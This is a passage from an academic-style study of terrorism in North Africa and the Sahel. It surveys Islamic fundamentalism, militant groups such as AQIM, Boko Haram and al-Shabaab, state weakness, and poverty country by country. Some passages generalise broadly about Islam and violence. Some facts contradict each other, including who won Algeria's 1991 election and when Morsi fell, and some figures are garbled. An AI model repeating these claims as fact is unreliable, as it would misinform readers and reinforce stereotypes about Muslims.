The source of the Sharia law is the teaching and practices of the prophet Muhhamad who interpreted the Quran in the Sunna, so, does not accept the state law. The Sharia court will pass a sentence, when Sharia law is violated. Principles of the Sharia law are totally against the Western constitutional human rights, such as the freedom of individuals, equality, proportional punishments, fair criminal trial, etc.

Because the fundamental Islam interpret the Quran and the teaching of Muhhamad literally, it has become intolerant in the daily matters, violent, fanatic to other cultures and religions, authoritarian in the politics and exclusive in the scientific issues. It has led to the hostility with the Western countries, especially the US and Israel, called them as the "big Devil" and the "small Devil". It rejects even the Western dressing, such as necktie, short skirt, low-cut dresses, and the Western forms of communication, such as laughing, handshaking, salutation, applause, etc.

The Islamic fundamentalism announces the necessary of the Islamic revolution, which requires political and social actions. Violence as a tool of the Islamic revolution is allowed against the non-Muslims, and terrorism has been justified just with this goal: to bring the whole world to be under the Sharia law.

The fundamentalist Islam reopens the gate of jihad in this way, in the form of the holy war against the enemies of the Islam, who do not believe Allah. Those who follow jihad are called mujahid. Jihad has been considered by the most of the interpreters as a religion duty of the Muslims to struggle in the way of Allah, often by a holy war, which is an armed struggle. Jihad has increasingly been a military issue during the last decades.

5.1.2. The role of the Islamic fundamentalism in North Africa

The characteristic of the terrorism has different features in the West, in the Middle East and in the North African countries.

The Western countries have to face with the global terrorism, especially with Al Qaeda, such as the terrorist attack of 9/11, in Madrid and London, and the so called lone wolves, who grew up and educated in the Western countries, but radicalized by the influence of the extreme ideologies advocated by imams in Islamic mosque, or in the Internet. The

international cooperation among the international organizations, such as NATO, UN and EU, and the intelligence of these countries have had sufficient successes in this field during the last decades.

The Islamic fundamentalism has been rooted in the Middle East. In the Political Violence and Terrorism Risk Index, the Middle East is in the worst, severe category, together with North Africa. There are hostilities between the Sunni and Shiah, there are state sponsored terrorist groups, such as the Al Qaeda formerly supported by Afghanistan and Sudan, the Hezbollah by Iran, Syria and Lebanon. The Hezbollah has become "the state in the state" a quasi state authority in South Lebanon, having legislation, public administration and jurisdiction. More terrorist groups, such as the Hamas, the Fatah[7] and the PLO (Palestine Liberation Organization in the area of Palestine National Authority) have been expanded in the public authority system controlled by military administration. A special increase of the terrorist attacks can be seen in the cases of state disintegration, such as in Iraq, Afghanistan and Syria, which let the infiltration of the terrorist groups in the state system. The other reason of the high terrorist attacks in the Middle East is the Israeli and Palestine conflict. Primarily the Al Qaeda has been related to the global terrorism, insisting on the establishment of the World Caliphate.

The Islamic religion is dominant in North Africa, and on the Eastern coast of the continent. In the countries examined by the study there are Christians only in the Southern part of Ethiopia, Sudan, Chad, Nigeria, and Mali. If we consider the map on the political violence and terrorism risk, and the Terrorism Risk Index, we can make the conclusion that terrorism and political violence are especially high in the most Islamic countries in North Africa and the Middle East.[8]

The question may arise if there is any relationship between the terrorism and the Islamist extremism? As mentioned above, Islam is the typical religion in the world currently, which has an extreme branch, the fundamentalist Islam that is based on violence. However, there are Islamic countries, such as Saudi Arabia, Turkey, Morocco, e.g., that are not really infected by the terrorism related to Islamist extremism, or the terrorism is extremely high the middle of Africa, where Christian and local religions are typical, and where the Islamic extremism has little effect.[9]

The next issue to examine is that in which African countries have the tradition of the fundamentalist Islam, or, have been widespread in the last decades?

The Muslim Brotherhood was rooted in Egypt, committed many assassinations and bomb attacks between 1940 and 1980. The recent terrorist groups, the Al-gama'a ad-Islamiyya and the Egyptian Islamic Jihad (established by Ayman Al-Zawahiri) in the name of jihad implemented robbery, killing, bombings, insurgency against the Christian Copts in Egypt, Jewish in Israel, but against the police, government offices and high level state officials, presidents, too. The Egyptian government tried to suppress the terrorist groups by

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[7] The Fatah was a terrorist, militant group, since it was established, and had a strong involvement in terrorist attacks. It renounced terrorism in 1988, so, it has not been on the list of the terrorist groups anymore.

[8] CHIKNI, Lamine – MACDONALD, Myra: *Al Qaeda's eidening North Africal jihad confounds foes.* p. 1.2. Algiers/London, 2013.

[99] DOWD, Caitriona – RALEIGH, Clionadh: *The Myth of Global Islamic Terrorism and Local Conflict in Mali and the Sahel.* p. 1-12. African Affairs Advance Access published May 29, 2013. Oxford University Press on behalf of Royal African Society

harsh law enforcement: imprisonment, torture and execution. The poor and the lower middle class still support the fundamentalist Islam, which was proven by the fact that during the Arab spring in Egypt in 2011, Morsi who was supported by the Egyptian terrorist groups won the election. The Sharia law was acceptable even in 2012 by the 75% of the population, however, the traditional form only by 20%. The new constitution proposed by the Morsi government, had several provisions on the Sharia law.

The Islamic fundamentalism did not have sufficient traditions in Tunisia, because the Ben Ali government had already introduced the secular state in 1987 so that Islamic fundamentalism should be suppressed. As the result of the "Jasmin Revolution", the opposition party won the election in 2011 and the Marzouki government declared the secular state again, prohibited the Sharia law, and launched certain human rights, such as the equality of the women, freedom of religion, and economic constitutional rights, as well. Salafist movement has emerged in Tunisia after the revolution in 2011, as a reaction to the prohibition of every manifestation of the Islam fundamentalism by the former Ben Ali government. The spots of Ansar al-Sharia appears, too, but did not have serious influence in the country, especially not in the form of terrorist attacks. "Only" 4 terrorist attacks, the least in North Africa, occurred here since 9/11.

Libya, during the Gaddafi regime sponsored more terrorist attacks, and for this reason UN sanctions were implemented in the country. However, the Gaddafi regime tried to suppress the spread of the fundamentalist Islam. Two Islamist terrorist groups were created during the civil war in Libya both of them belong to the Al Qaeda. The Ansar al-Sharia was created during the civil was in 2011, and was involved in the terrorist attack in Bengazi in 2012. At the moment it operates in the northern part of the country. The Ansar al-Sharia tries to infiltrate in the Libyan state system, e.g., offers social programs, agrees with militias, etc. The country is, however, controlled by Islamist, rouge and criminal militias, and the government is too weak to strengthen the central state power. There are many Islamist state officials in the new Libyan government close to the Salafist Islamic extremists who advocate introducing Sharia law in the country. The AQIM, basically connected to Algeria, was formed in 2007 and operates on the southern part of Libya, commits terrorist attacks here, as well. The number of the terrorist attacks is relatively low, 7, since 9/11 in this country.

In Morocco the Islamic fundamentalism did not have any tradition, and no Islamic terrorist group can be found here. Relatively few, 9 terrorist attacks happened here since 9/11, too.

The Western Sahara, despite its vague international law status – annexed by Morocco in 1975, had a war here until the ceasefire in 1991, at the moment forms part of Morocco as a non-self-governing territory, but controlled by the Polisario Front, which is a rebel nationalization liberation movement, the area have not recognized yet by any UN nation in this status, but was suggested to hold a referendum to decide if to belong Morocco or will be an independent state – and the refugee camps in Algeria have not been in a chaos, much more represent a good governance. The Sahrawi – the ethnic group of West Sahara – living not just in West Sahara, but as refugees in the South West Algerian refugee camps, are controlled by

the Polisario Front, but the Algerian government does not intervene in their local matters.[10] The Sahrawi had the tradition of secularism and religious tolerance, and the Polisario Front did not have any relationship with the terrorist groups. Some analyzer supposes that the MUJAO located around the area of Sahrawi refugee camps, can successfully recruit members from the youth of Sahrawi, but there is no tangible prove to it.[11]

Algeria, which has a stable and authoritarian state with strong military since its independence, during the 1970-s, the Bendjadid government attempted to establish and Arab style society and public life. Teachers from Muslim countries were invited who spread the radical Islam in the schools. This tendency was fastened with the return of the Algerian jihadists from Afghanistan. Social unrest upheld during the 1980-s, and resulted a multi-party system by 1991, when the FIS (Islamic Salvation Front) won the election. The FLN (National Liberation Front) dominated the government since the independence of 1954-s in the country, cancelled the election and banned the FIS. A harsh civil war was broke out between the FIS and the FLN, and ended only in 1999.

The GSPC (Salafist Group for Call/Preaching and Combat) formed at the end of the 1990-s, fought against the Algerian military in order to establish an Islamic state. The Bauteflika government tried to make a national reconciliation by amnesty, but was not successful in its effort: the Islamic fundamentalism still prevails in the form of terrorist groups. It is the case in spite of the fact that the Algerian government has a strong military and an efficient counter-terrorist strategy.

The GSPC became later the AQIM that is also based on the Salafist-jihadist dogma.[12] The AQIM had 30.000 members that were reduced by 1000 due to the counter-terrorism efforts of the Algerian government. 88% of the AQIM operates in North and South Algeria, but some of them in North Mali, in South Libya, South Tunisia, and South Mauritania. The AQIM perpetrates terrorist attacks in the neighboring Sahelian countries, such a Libya, Tunisia, Mauritania, Niger and Mali, as well, and have financial resources from kidnap for random, smuggling cigarettes, narcotic, and drug. It established links with Latin American cartels in smuggling drug and weapons.

The AQIM's leader, Mokthar Belmokhtar the one-eyed "Marlboro man" was killed in 2013, cooperated with the AQAP (Al Qaeda in Arabian Penninsula) in Yemen, the Boko Haram in Nigeria and the al-Shabaab in Somalia, and played a dominant role in the insurgency in 2012 in North Mali.

MUJAO (Movement for Unity and Jihad in West Africa) a jihadist group, located in South-West Algeria, broken off from AQIM and perpetrated car bombings and kidnaps in South Algerian and North Mali. In 2011 and 2012 the MUJAHO abducted three humanitarian workers form the refugee camp in Tindouf, South West Algeria and seven Algerian diplomats in Mali, and perpetrated two terrorist attacks in Algeria.

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[10] FIDDIAN – QASMIYEH, Elena: *The Pragmatics of Performance:Putting 'Faith' in Aid in the Sahrawi Refugee Camps.* Journal of Refugee Studies Vol. 24, No. 3. 2011. P 1-15.

[11] ALEXANDER, Yonah: *Terrorism in North Africa & the Sahel in 2012*: Global Reach & Implications. p. 4. Inter-University Center for Terrorism Studies, Potomac Institute for Policy Studies, Arlington, VA 22203, February, 2013.

[12] HARMON, Stephen: *From GSPC to AQIM: The evolution of an Algerian islamist terrorist group into an Al-Qaida Affiliate and its implications for the Sahara-Sahel region.* p 12-22. Concerned Africa Scholars, Bulletin N 85 – Spring 2010.

There have happened extremely high terrorist attacks, 1234, in the country since 9/11. This is as high as in Somalia, Nigeria and Sudan, but twenty times more than in Chad that is the worst category in the Sahel. There is no clear explanation to this, because the Algerian government has directed a most effective counter-terrorist strategy in North Africa. The only reason could be that the AQIM, the strongest and the biggest terrorist group in North Africa has been localized primarily in Algeria, and spread in less extent in the neighboring countries.

The area of North Mali, bordered by Algeria and Niger has been the most important and best safe haven for the AQIM and its affiliates. However, the number of the terrorist attack is much less, 54, than in Algeria. This was rather a safe haven for the terrorist groups, because this area is a vast desert, uncontrolled by the Mali government, which has a weak military, furthermore a semi-nomadic tribe, the Tuareg live here. Mali otherwise has not have tradition or influence of the Islamic fundamentalism until this time. The terrorist groups led by the AQIM here, perpetrated suicide bombings, car bombs in Algeria, Niger and Mali. Their aim is to attack Western targets, such as foreign workers, officials, embassies, military basis, etc.

In Mali a rebellion was launched in 2012, when the Tuareg tribe, an ethnic minority in the country represented by the MNLA (National Movement for the Liberation of Azawad) took control the North of Mali and declared independence of Azawad. The AQIM and its splinter groups, the MUJAO in West Algerian and the Ansar al-Dine, the latter one was established in Mali in 2012, supported the Tuareg. These terrorist groups marginalized the Tuareg then, and introduced the Sharia law in this area. The Tuareg were forced back by the French military, but the terrorist groups are still at present sporadically in the area.[13]

In Mauritania there was no tradition of the Islamic fundamentalism. The county has to face the problem of being the neighbor of Mali and Algeria, where the terrorism is extremely high, and can easily cross the borders in the form of kidnap and smuggle. 27 terrorist attacks were perpetrated here since 9/11.

In Niger, however there was a Wahhabist religious uprising in the capital 30 years ago, there is no tradition of the Islamic fundamentalism, because the state was secularized and the religious tolerance became determining. Two Tuareg rebellions occurred here: in 1999 and 2007. There is still a danger in Niger, too, that the AQIM and its affiliates will infiltrate in the Tuareg tribes, and will be infected by the radical Islam. The most important danger is the cross-border terrorist attacks which aim to disintegrate the local governance and attack Western targets. The authorities of Niger, with the help of the international community, have strengthened the Northern part of the country, and its border, as well. Relatively high terrorist attacks, 39 have happened here since 9/11.

In Chad, however 58 terrorist attacks occurred since 9/11, there is a sufficient counter-terrorism strategy. Chad does not have a tradition of Islamic fundamentalism only a small minority has been the follower of the Salafi Islam. Terrorist groups do not operate here.

In Ethiopia there is no tradition of Islamic fundamentalism, either, and the number of the terrorist attacks since 9/11, only 4, perpetrated by the Al-Shabaab along in the Eastern border with Somalia.

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[13] ARIEFF, Alexis: *Crisis in Mali*, p. 1-13. Report of Congressional Research Service, 2013. Washington, DC:

Nigeria has a long tradition of the Islamic fundamentalism. On the Northern part of the country, where he Muslim population lives, a sovereign sultanate existed in the middle ages, and the Sharia law was applied since centuries: alcohol was prohibited, homosexuality, infidelity and theft was harshly punished by amputation, stoning to death and lashing. The Miss World pageant in 2002 led to a riot in the North, with many dead and injured. During the last decades, the Islamic fundamentalism had followers in the Northern part of the country, establishing groups that tried to influence the population by establishing mosques and schools for the poor children, where the Islamic fundamentalist ideas were taught. Researchers confirm that the ideologists of the Islamic fundamentalism could successfully influence the poor and unemployed youth arguing against state corruption, organized crime, such as drug trafficking, piracy, and also, for the social unrest.

Boko Haram, the Islamic fundamentalist, jihadist terrorist group was formed in 2002, to abolish the secular state and introduce the Sharia law in the whole country. The Boko Haram has implemented the Sharia law in most parts of the country in North, and perpetrated terrorist attacks, as well, and has resulted 10.000 dead until this time. It attacks Christians, government offices, churches, schools, kidnaps foreign tourists and assassinates even the Muslims who criticize them. It is thought by some analyzers that the Boko Haram has a relationship with the AQIM, but there is no reliable evidence to its international network. The Boko Haram rejects any relationship with the Western, such as education, work, lifestyle, etc., has been closely related to the organized crime, and increasingly became a military group.

Since 2009 the Boko Haram has been pursuing a harsh fight with the police and the military that has used even air strike and blockade against them. The authorities of Nigeria has not been successful to defeat the Boko Haram until this time, however they ask the help of the international organizations and the foreign countries.

Sudan and Somalia, in the horn of Africa, represent the same region, forms a political, economic, ethnic, religious and cultural community with the Middle East.[14]

Sudan has a tradition of Islamic fundamentalism due to the wide spread of the Salafi Islam. As mentioned before, Sudan did not have any democratic government, just military juntas and dictatorships since its independence. Colonel Omar al Basir, who acquired the power in 1989, implemented an extreme dictatorship, and established the National Islamic Front, the only political party in the Parliament. Sharia law was introduced in 1983 in the Northern part of the country, regardless of being Muslims or not, who were under the force of the Sharia law. Sudan became an autocratic, single-party Islamist state. During the 1990-s, an Islamist politician, Hassa al Turabi began to support the Islamist fundamentalist groups, and invited Osama bin Laden to the country.[15] The government supported the LRA (Lord's Resistance Army), the religious (sect-based) extremist military group that operated in South Sudan, Uganda, the Central African Republic and the Democratic Republic of Congo. The LRA had a safe haven in South Sudan in 1994, with the agreement of the government, and committed cruel punishment, such as cutting off ears, lips, nose, and perpetrated a mass abduction of children and youth in the Middle Africa.

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[14] HARBERSON, John: *The War on Terrorism in Africa*, p.24. Princeton N. Lyman, Western Press, 2013.
[15] *Islamic Movements in Northern Africa – Islamic Fundamentalism in Africa and implications for U.S. Policy.* p. 1-3- http://www.danielpipes.org/218/islamic-movements-in-nortehrn-africa

Also, it established a good relationship with Iran and the former Iraq ruled by the Saddam regime. Sudan was listed on the state sponsors of the terrorism, and was bombed by the US in 1998. The Sudan government tried to dissolve the international isolation and expelled some terrorist groups from the country, and also, sent Bin Laden away. In 2010, al-Basir was reelected by an anti-democratic and unfair election in spite of the international arrest warrant issued by the International Criminal Court. The Northern part of the Sudanese state remained Islamic fundamentalist.

In Somalia, where the Wahhabist Islam has tradition, the ICU (Islamic Court Union), an Islam fundamentalist group controlled the Southern part of the country by the beginning of the 1990-s, when the Siad Barre regime collapsed.

The ICU consisted of only judges, and structured by several courts with legislation, public administration and jurisdiction functions. The ICU was supported by some local landlords and the local population, as well. The religion of the most of the population in Somalia is Sunni Islam. The ICU fought guerilla warfare with the army of the TFG (Transitional Federal Government). The ICU introduced the Sharia law and established Sharia courts, as well. These courts functioned as providers of public services, such as health care, education, police, etc., regulated the public and private life, banned the drugs, Western movies, music, football, etc.

These courts emerged during the 1990-s, merged in the form of a militia, and tried to occupy the territory of the country. The government could squeeze out the ICU from the capital and the other part of the country by the help of the US, and captured their members. Many of them escaped to Eritrea that supported the ICU during the war. The ICU supported by the Al Qaeda, implemented bombings, such as in Kenya and Tanzania in 1998.

In 2006 the ICU began to fight with the other groups of landlords that demanded secularization in the capital, Mogadishu. The ICU won, controlled the capital and the area around, and could acquire most of the weapons in the country. The capital fell into a chaos. More and more areas were captured by the ICU later, and piracy along the coast was supported, as well. Ethiopia intervened with its army, and began a war with the ICU. The ICU announced a jihad and called jihadists from other countries to help them.

As a result of the war, the ICU lost a lot of area in the country, withdrew from the capital and capitulated. The US and the UN intervened with air strike against the supposed Al Qaeda members. The members of the ICU had to hide in the country, however the ICU still exists, but other military groups, such as the al-Shabaab split from the ICU, and continued the war against the government. The 95 % of the members of al-Shabaab are located in Somalia.

By 2009 the al-Shabaab which declared its close relationship with the Al Qaeda, still controls the Southern part of the country and is supported by several landlords here, too. The al-Shabaab has continued global jihadist war and perpetrated many terrorist attacks in other countries, such as Kenya in Nairobi, too, primarily against Western targets, and acquires its financial support from piracy. Although a federal republic with a new constitution was established in 2010, the central government in Somalia is still weak, no one government can keep the governance for a long time, the prime ministers are changing all the time. This power vacuum has been successfully used by the al-Shabaab.

5.2. The relationship with Islamic fundamentalism and the terrorism

On the basis of the analyses above we can make more conclusions. The most important is that the tradition of the Islamic fundamentalism can directly lead to the escalation of terrorism in these countries regardless of the state is stable, weak, or collapsed.

Egypt, although it always used to be a stable autocratic presidential state, could not cope with the terrorist group, the Islamic Muslim Brotherhood and its successors, the Egyptian Islamic Jihad and the Al-gama'a al-Islamiyya, either in the second part of the 20th century, or at the beginning of the 21th century, even if implemented harsh law enforcement. The party represented by the Islam fundamentalists, won the democratic election in 2011, and only the military could overthrow the Morsi government in 2012. This is because the Islam fundamentalism is deeply rooted in the population of Egypt.

Algeria can be mentioned as another example to the spread of the radical Islam-based terrorism, in spite of the fact that it has been a stable autocratic state with a strong military until this time. Similarly to Egypt, the GSPC, the Islam fundamentalist party that won the democratic election in 1991, could be able banned only by the cancellation of the election, which led to a civil war, and the secular government von the finally. The radical Islam, however, was so strong in the population that the government could not hinder the evolution of the strongest terrorist group of the region, the GSPC, later its successor, the AQIM and its affiliates, such as the MUJAO and the Ansar al-Dine. Most of them are related to the Al Qaeda. It is another matter that these terrorist groups spread to the neighboring countries, especially to Mali, where found a safe haven. The centre of the radical Islam-based terrorism in the Sahel has been rooted in Algeria.

The Northern part of Nigeria has also a long historic tradition of Islamic fundamentalism: the Sharia law in the most extreme form has already existed here since centuries. This area infected by the radical Islam, has been a hotbed for the Boko Haram further strengthened with the weak, corrupt and illegitimate state which police and military cannot defeat the Boko Haram, but seems to have a hopeless fight with them.

In Sudan, a dictator, al Basir acquired its political power by coup-d'etat, and introduced the radical Islam in the form of establishing The National Islamic From, the ruling party in the Parliament, and established good relationships with the terrorist state sponsors, as well. The Salafist Sunni Islam has tradition among the Arabic population of the country. The radical Islam government, the al Basir government could keep its power in the Northern part of the country and controls this area, even after the rough civil war with the non-Arabic population and the breaking with the Southern part of the country.

The reason why the ICU and its successor, the al-Shabaab could find allies in Somalia was that some landlords supported the radical Islam. The ICU occupied almost all the territories of the country and was not far from establishing a fundamental Islam state in Somalia. The Somali state is still too weak to take successful actions against the jihadist war of the al-Shabaab.

In the above mentioned countries the escalation of the terrorist groups was more or less related to the tradition of the radical Islam in the population. The evident difference between the strong and stable states vs. weak or collapsed states in their counterterrorism efforts is that the strong states, such as Egypt and Algeria can successfully hinder that the

terrorist groups can infiltrate in the state authorities, and exclusively control an area, or in the worst cases, establish a state based on the Islam fundamentalism. The stable states can decrease the number of the terrorist attacks, and can expel them out of the country, like it happened in Algeria and Egypt.

6. The strong or weak central state and local government vs. the terrorism

The central state and the local government, as we referred to in the former chapter in the study, could be strong or weak for more reasons: ineffective law enforcement (police, intelligence, military, jurisdiction) violation of human rights caused by ethnic conflicts,[16] or the autocratic feature of the government, little capacity to control the unpopulated, or tribal areas and its borders. In a collapsed state these functions do not operate on any level. The study will examine in this chapter if these factors are related to the terrorism, and if so, how determined the spread of the terrorism in the North African countries.

Egypt has always had a strong state apparatus and military, but violated human rights during the autocratic presidencies. This led to the revolution of the opposition in 2011 that demanded more democratic governance. The terrorism developed in this country since the middle of the last century, does not connect with the autocratic feature of the government, much rather, as we have already explained, with the tradition of the Islamic fundamentalism.

Libya, as mentioned earlier, was an extreme dictatorship during the Gaddafi regime, which suppressed the conservative Islam movement. After it had collapsed due to the revolution in 2011, the state disintegrated, and the military of Gaddafi was defeated, but was not re-established yet. The Libyan government does not have efficient military, or law enforcement, consequently the radical Islam-based militia, the Ansar al-Sharia can infiltrate in the state system, and tries to control the country. The Justice and Construction Party influenced by the Muslim Brotherhood, has 17 seats from 80 in the Parliament. The desert areas of the Southern and Eastern parts of Libya are not controlled by any state authority, so it serves as a safe haven and place of terrorist attacks perpetrated by the AQIM and the Ansar al-Sharia.

Algeria has a desert and a rocky mountain area in the Southern and Western parts of the country, which cannot be sufficiently controlled by the state authorities. This is ideal for the AQIM and the MUJAO. Not accidently, the terrorist attack in Amenas in 2012 occurred in the desert area, close to the Libyan border. The MUJAO has found a safe haven in the Western part of Algeria, but cannot control the Sahrawi refugee camps, due to the good governance – among others - the secular and religious tolerance character of the Polisario Front. The worst that the terrorist groups can do is to recruit members from the youth.

The AQIM implemented terrorist attacks in South Tunisia, too, in the desert area, but could implement a relative few terrorist attacks in the country.

Morocco has an effective counter-terrorism strategy, and does not have any factors, such as inefficient police, military, human rights violation, non-stable state, nomadic or desert

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[16] VANDYKE, Matthew: *Mali, Sudan, and Ethnic Conflict in Northern Africa*, p. 1-6. 2012.

area, etc., that could be the hotbed of the terrorism here, except West Sahara, but it is sufficiently controlled by the Polisario Front.

Mauritania has serious problems with the human rights and ethnic violence. In 1989, there was a harsh civil war between the Moors in North and the Black in South, due to the tension caused by ethnic discrimination of the government. 70.000 black people were expelled to Senegal by the end of the civil war. Human rights are still seriously violated in this country. Although the slavery was abolished in 1981, the antislavery law has not been enforced by the government. The 20% of the population are still enslaved, which is reasoned by the poverty of the population and the lack of labor opportunities. Female genital mutilation, child labor, human trafficking are widespread. Ethnic violence often happens against the black who do not have equal rights with the Arab-Moor population. Mauritania has a relative weak government that cannot control the border areas along Algeria and Mali, so the terrorist groups can implement terrorist attacks here.

As mentioned earlier, Mali has been the most important safe haven for the AQIM and its affiliates, such as the MUJAO and the Ansar al-Dine. The Toure government could establish stability since 1991, due to the democratic processes, but the weak military could not cope with the Tuareg insurgencies that claimed independency. The area of the country was an ideal place for the terrorist groups, because being a tribal and desert area, was less controlled by the central government, and the insurgency of the Tuareg in 2013 gave an opportunity for them to infiltrate in the Tuareg groups during the rebellion in order to control the area later.

Niger, similarly to Mali, has to face the danger that the AQIM and its affiliates will infiltrate in the Tuareg tribes that have already broken out two rebellions in Niger, too, and the government cannot control the tribal areas of the Tuareg. However, counter-terrorism efforts were implemented in the country in order to avoid such a situation with the terrorist groups. Similarly to Mauritania, the weak government in Niger cannot hinder the cross-border terrorism from Algeria and Mali.

The dominant rule of the Boko Haram in North Nigeria is closely related not only to the tradition of the radical Islam here, but the insufficient operation of the state authorities, as well. Serious ethnic tension arose and ethnic violence occurred between the Muslims in North and the Christians in South, as a result of the ethnic discrimination. Human rights have been seriously violated by the military and the police, in 1966 and 1970, too, when the two civil wars broke out. The ethnic violence on the area of the Niger Delta for the control of the oil production has been at present until this time. The police of the military junta rape, torture, execute, cruelly treat, and unlawfully detect the people who participate in these conflicts. The organized crimes in the country have not been hindered, either: human and drug trafficking, prostitution, forced labor, child labor and piracy flourish. Such a corrupt state will evidently not be devoted in the counter-terrorism, either.

Chad is also typified by the human rights violation, such as polygamy, abuse in the family, female genital mutilation, etc. There are nomadic tribe areas in the countries which are not controlled by the weak central state authorities. The history of Chad has seen more rebellions, civil wars and coup-d'etat, military junta and dictatorship. The country has been infected, but not in a great extent by the terrorism due to the inefficiency of the state, however it tries to defense its territory from the terrorism.

Ethiopia has a legitimate government with strong military, and despite of the poverty in the country, can successfully control its area from the terrorism.

Sudan has been a failed state with inefficient state functions, such as military, police, legislation, jurisdiction, public administration, due to the rule of the fundamental Islamic government. The worst version occurred in Sudan: the radical Islam groups could acquire the state power, eliminating the basic functions of the efficient state, but based them on the Sharia law and the influence of the terrorist groups.

The central government in Somalia has still little power to operate the basic functions of the state, too, especially lacks an effective military and police. It still cannot control some areas in order to expel the terrorist groups from the country, prevent the terrorist attacks, and cannot cope with the armed conflicts among the landlords, either.

Conclusion can be drawn on the basis of the analyses above, that the lack of strong central government with inefficient military, police, law enforcement, existence of harsh human right violations, ethnic and religious hostilities and tensions, inefficient control over the territory and the border of the state can be a hotbed of the terrorism. There are, however, no automatic and uniform links between these factors and the terrorism.

Those countries have been the mostly threatened by the terrorism where the state has collapsed or weakened in such a great extent that the non-state actors, such as militias, rebellion groups, landlords, etc. has taken over the power to control the population. We can mention Libya, Mali and Somalia as examples to it.

In Sudan, the illegitimate government itself established an Islamic fundamentalist state, and as opposed to Egypt and Algeria, the tradition of the checks and balances in the state system that could have overthrown such a government had not developed, because the history of the country saw only dictatorships. The non-Arabic, black population in South Sudan could be released from this situation only by a cruel civil war with suffering genocide.

Nigeria can be considered special in this context. As opposed to other weak states in the Sahel, such as Mauritania, Mali, Niger, Chad and Ethiopia, the government in Nigeria has been so corrupt that similarly to other public problems, such as organized crime, human rights violation, ethnic tensions, etc., did not direct too much effort to cope with the terrorism in North Nigeria. The other weak states in the Sahel have cooperation with international organizations, and the Mali government called the French army, too, to help them against the Tuareg rebellion, to establish a counter-terrorism strategy.

7. Public tasks, transparency, accountability, management of the internal conflicts vs. terrorism.

The economic and social problems have been typical in North Africa, but the difference between the countries is the extent the states here have to face with.[17]

It is general phenomena in the countries of the Maghreb, that after the independence from the colonial state in the middle of the last century, the national industry was

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[17] H. CORDESMAN, Anthony: *The Causes of Stability and Unrest in the Middle East and North Africa*: An Analytic Survey, Center for the Strategic & International Studies, 2012. www.csis.org

nationalized, no matter it was a socialist state under the influence of the former Soviet Union, or not.

In Egypt the Nasser government, under the communist influence of the former Soviet Union, could implement successful land reform, economic development, social mobility, and a better education. The Gaddafi regime in Libya could assure social security, housing and education, too. The same happened in the socialist Algeria. The Tunisian governments were not successful in this effort.

During the 1970-s, there was tendency toward the liberalization of the economy in Egypt, Algeria and Morocco, which meant privatization of the state owned enterprises, support of the foreign investment, and reducing taxes in the business sphere. By the beginning of the 2000, the economic and social problems became widespread in the Maghreb, which – together with the expectation to a more democratic government – led to the Arab spring in these countries. Poverty, high unemployment, especially in the youth (in Tunisia and Egypt it is above 30%) social inequality, shortages in housing and high inflation was widespread.

As mentioned earlier, a democratization process began in these countries due to the unrest of the Arab spring, but was successful only in Tunisia, Algeria and Morocco, where the government on power was capable to manage the situation and make a compromise with the opposition to meet their requirements in democratic, economic and social matters. Egypt will probably be able to cope with these economic and social problems, as soon as it solves its political matters. Libya seems to be problematic from this point of view, due to the collapse of the state.

With one exception of Libya, it cannot be said that the economic and social problems would be connected to the increasing terrorism in these counties. The GDP in Algeria and Libya is the highest one, between 4.000$ and 12.000$, in Morocco, Tunisia and Egypt the GDP is between 2.000$ and 4.000$. These countries should be considered as fairly wealthy.

The countries in the Sahel are known as extremely poor with very low level of public services. The Sahel is the home of more than 50 million people, who are the poorest in the world. The GDP in these countries ranges only from 200$ to 700$. The majority of the population here lives in rural areas and works in the agriculture. They are often nomadic or farmers. Even the basic public services, such as water supply, electricity, canalization, trash collection, roads, elementary education, health care, employment programs, etc. have not been provided by the governments. The literacy rate is the lowest one of the world in the Sahel, less than 30-40% of the population. Disasters, such as floods, starvation, draught, desertification, water scarcity, demographic pressure, AIDS, etc., are the highest in the Sahel.

This is the case even in those countries, such as Nigeria, Chad and Sudan, where the rich natural resources could serve as a base for the improvement of the rural areas. As it was explained earlier, the financial resources of the states are not generated to the increase of the living standard of the people, but for the private goals of the politicians and the high level public administrators.

The Corruption Index shows the effect of corruption on the level of how the governments can cope with the economic and social problems. Besides Somalia, Sudan and Libya, where the governments do not, or cannot care about public tasks, due to the disintegration of the state authorities, and where the corruption is extremely high, Nigeria has been on the top among these countries. The rest of these countries in North Africa are in the

four worst of the ten scales. Integrity, openness, the unbiased jurisdiction, and the independent controlling authorities lack, in a great extent, in North Africa.

The public goals, such as managing public problems, providing public services, can be followed only in those countries that are based on pluralism. It means that the several social groups can express their interests in a pluralist system. It is especially problematic in the poorest African countries, where the population of rural areas does not have any opportunity for this. There is no economic development, proportional taxation, fair redistribution, education, welfare, employment, infrastructure public services in these areas.

However, there is no direct relationship between the unsolved pubic tasks and the terrorism. There are sufficient efforts to elaborate a counter-terrorism strategy even in the poorest countries, such as Mauritania, Mali, Niger, Chad and Ethiopia. Only one relationship in this matter can be mentioned: the poor, uneducated youth who do not have any chance to develop their life, can easily be recruited by the terrorist groups, because they are fairly responsive to the radical and extreme ideas.

The relationship between the mismanagement of the internal conflicts and the terrorism has been much more tangible since 9/11. This is the reason, why after 9/11 the escalation of the internal conflicts have been the best hotbed of terrorism, such as occurred in Iraq, Afghanistan and Syria, e.g. in the last years.

As the most evident example, Mali, can be mentioned in North Africa, where the ethnic conflict with the Tuareg rebellion almost led to an Islamic fundamentalist state. The same problem with the Tuareg in Niger was better-managed.

The Boko Haram in Nigeria has been rooted, too, in the traditional religious conflict between the Muslims and the Christians, and the government has not done anything to reconcile them, neither had sufficient law enforcement and military forces against the Boko Haram.

In Mauritania, the serious ethnic conflict has not been used by the terrorists until this time. This is the case in Western Sahara, too, where the Polisario Front can manage the conflict between the Sahrawi population and the Moors in Morocco.

In Egypt and Algeria, however the government had a long tradition to manage the conflict with the Islamic fundamentalists, has not had unambiguous results. The reason is that in Egypt the former governments suppressed the Islamist groups with harsh law enforcement, and by coup-d'etat in 2013, and the cancellation of the election and the banning of the Islamist party led to a civil war in Algeria.

Sudan and Somalia can be mentioned as the worst example to the total mismanagement of the ethnic and religious conflicts. This is in a close connection with the increase of terrorism in these countries.

Conclusions

Regarding the main features of the terrorism in North Africa, we can make the conclusion that most of the terrorist groups have just a tight relationship with the Al Qaeda, but operate on national level, and do not emphasize the global jihad.[18]

